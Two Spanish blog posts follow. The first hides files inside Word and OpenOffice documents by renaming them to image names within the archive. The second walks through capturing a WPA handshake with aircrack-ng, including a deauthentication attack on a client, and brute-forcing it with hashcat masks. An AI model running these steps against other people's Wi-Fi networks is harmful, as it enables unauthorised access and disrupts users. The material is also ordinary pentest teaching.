En este caso veremos cómo podemos ocultar archivos dentro de un fichero de Microsoft Word (.docx) y para ello, tan sólo necesitaremos una herramienta, el famoso Winrar o cualquier otro programa del estilo.
Los documentos de Microsoft Office tienen una estructura de XML, por tanto al renombrarlos como zip podremos abrirlos como un archivo ZIP XML. Con ese fácil gesto tendremos acceso al contenido del fichero .docx , Winrar soporta los archivos de word 2007/2010 así que no tenemos problemas con las extensiones, simplemente hacemos click en “Abrir con” y seleccionamos Winrar.

cap_abrircon_winrar

Una vez abierto podemos investigar un poco y fijarnos dónde guarda las imágenes, en el caso de los archivos .docx los guarda en /word/media aunque esta regla es aplicable a cualquier documento de Microsoft Office 2007/2010. En el caso de los ODT de Open Office también pasa lo mismo, al renombrarlos a zip podremos abrirlos con el Gestor de Archivadores de GNU/Linux. En su caso podemos ver las imágenes en la carpeta “pictures”.

Captura de un fichero .odt abierto con el Gestor de Archivadores de Ubuntu:

captura_estructura_odt

En el caso de los ficheros de Microsoft Office debemos resptar la nomenclatura de los nombres, si no al abrirlo, nuestro fichero máscara fallará y Office no podrá abrir el archivo, para ello tenemos en cuenta el nombre “image<numero>.jpeg”. estructura_docx_winrar

Renombrando el archivo que queramos a esa nomenclatura, podremos meter lo que queramos dentro hasta un máximo de 512 Mb en los archivos de Microsoft Word. La capacidad se incrementa en los archivos .pps en los cuales puedes albergar más de 1,5 Gb. Lo único que falta es configurarnos un contenedor cifrado con truecrypt e incluirlo en nuestro fichero para tener un fichero esteganográfico que sea lo más difícil de desencriptar posible.

Un Saludo!


  • 0

Crackeando WPA con Hashcat.

Crackeando WPA con Hashcat

logo

Uno de los principales inconvenientes a la hora de desencriptar claves WPA es el tener que depender de un diccionario o las rainbow tables para poder obtener la ansiada contraseña. Esta práctica en muchos casos deja el password “indescifrable” por no dar exactamente con la palabra, en otros casos como son los hashes MD5, tenemos software que aplica todas las combinaciones posibles incrementando el numero de caracteres que se van probando hasta dar con la clave, como por ejemplo John the ripper o Hashcat.
En este caso hablaremos de hashcat y de los ataques de fuerza bruta a handshakes de WPA/WPA2. El handshake (apretón de manos) es el paquete que contiene el hash de la clave WPA/WPA2 de una red wifi. La opción más común es atacar mediante un diccionario, pero estamos sujetos a que la palabra de la clave figure en el diccionario, y se termina por tener mucho espacio en disco ocupado por estos ficheros. Una alternativa es un ataque de fuerza bruta, probando una a una todas las combinaciones posibles hasta dar con la correcta. En el caso de las claves WPA hay que tener en cuenta la posible longitud de la clave, ya que si es WPA2 sabemos que podemos tener el doble de caracteres que podemos encontrar en WPA, en esta clase de ataques, una buena gestión de contraseñas de la red inalámbrica puede ser decisiva a la hora de frustrar un ataque de estas características.
Para comenzar, usaremos la suite de aircrack-ng para extraer el handshake. Primero ponemos nuestra interfaz wifi en modo monitor:

# airmon-ng start wlan0

Hashcat_airmon-ng

Una vez hecho esto nos pondrá el interfaz wlan0 en modo monitor, creando el interfaz mon0. Ahora debemos ver qué redes están circulando a nuestro alrededor, para ello usaremos airodump-ng, este programa de la suite aircrack es el encargado de guardar las capturas de red que necesitamos analizar para extraer la clave, a diferencia de las redes con seguridad WEP, las redes WPA no requieren que almacenemos IV’s para poder averiguar la clave, en este caso sólo necesitamos capturar un paquete, el handshake.

Primero ejecutamos airodump-ng sin guardar y observando todos los canales para seleccionar el objetivo, abrimos una nueva shell y escribimos:

# airodump-ng mon0

Hashcat_airodump_primero

Nos convendría un punto de acceso en el que tuviésemos un cliente asociado, así podemos hacer el ataque de desautenticación y provocar la reconexión para capturar el handshake de la red en cuestión. Anotamos las direcciones MAC tanto del punto de acceso como del cliente que queremos desautenticar.
Ahora ejecutamos airodump con las especificaciones para el punto de acceso que hemos elegido:

sudo airodump-ng --bssid a4:5X:XX:XX:XX:XX --write ~/Escritorio/POCwpa --output-format pcap mon0

Una vez hecho esto lanzamos el ataque de desautenticación y esperamos la reconexión del cliente para que airodump capture el handshake.

# aireplay-ng -0 10 -e Apio -a a4:5X:XX:XX:XX:XX -c 00:EX:XX:XX:XX:XX --ignore-negative-one mon0

Hashcat_aireplay_DeauthAttack

Una vez que vemos que ha capturado el handshake nos lo indicará en la equina superior derecha de la consola.

Hashcat_airodump_handshake_capturado

Ahora que tenemos el handshake capturado tenemos varias posibilidades de transformar el archivo a un formato legible para hashcat. Como primera opcion tenemos la web de hashcat, que nos proporciona una utilidad online para transformar nuestros archivos .pcap en .hccap.
Como segunda opción nos podemos descargar el software necesario para ejecutarlo en nuestro linux, en este caso debemos compilarlo, para ello nos descargamos el software en este enlace  y seguidamente lo descomprimimos.

Esto nos creará un directorio con el mismo nombre del archivo que hemos descomprimido, ahora ingresamos en el directorio y compilamos el programa.

Si diese algún problema de dependencias tan sólo debéis instalar las librerías que necesitéis, en tal caso, toca pelearse con la consola >;-)

Una vez instalado, usar el programa es de lo más sencillo, simplemente tenemos que darle el archivo de entrada y el archivo de salida, como figura en el siguiente ejemplo:

./cap2hccap.bin ~/Escritorio/POCwpa-14.cap ~/Escritorio/HandshakeApio.hccap

Esto nos dejará el archivo preparado para que le pasemos por encima el hashcat.

./hashcat-cli64.bin -m2500 -a3 -n2 --pw-min=20 ~/Escritorio/HandshakeApio.hccap.cap ?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a

Modificadores:

-a Indicamos el modo de ataque, en este caso 3 indica fuerza bruta.

-m Indicamos el tipo de hash, en este caso WPA/WPA2 se corresponde al 2500.

?a?a?a?a?a?a?a Indicamos la máscara, en este caso ?a significa que buscará numéricos, mayúsculas, minúsculas y especiales, escribiendo ?a de forma consecutiva le estamos indicando la longitud máxima de carateres que va a probar. Saber manejar la máscara de hashcat nos ayudará a concretar un poco qué tipo de caracteres estamos buscando dentro del password, por ejemplo:

Dado el password Habichuela**

Una máscara adecuada sería ?u?l?l?l?l?l?l?l?l?l?s?s, así limitamos con ?u la búsqueda a mayúsculas sólamente, con ?l buscamos minúsculas y con ?s buscamos caracteres especiales, de tal forma no tenemos que buscar una mayúscula en las dos últimas posiciones. Para el caso del wireless podemos ver como algunos puntos de acceso tienen por defecto claves numéricas o alfanuméricas, por tanto podríamos podríamos ahorrar bastante tiempo si quitamos de las combinaciones posibles los caracteres especiales.

Una vez esté trabajando hashcat podremos darle a enter y ver el progreso.

Hashcat_Proceso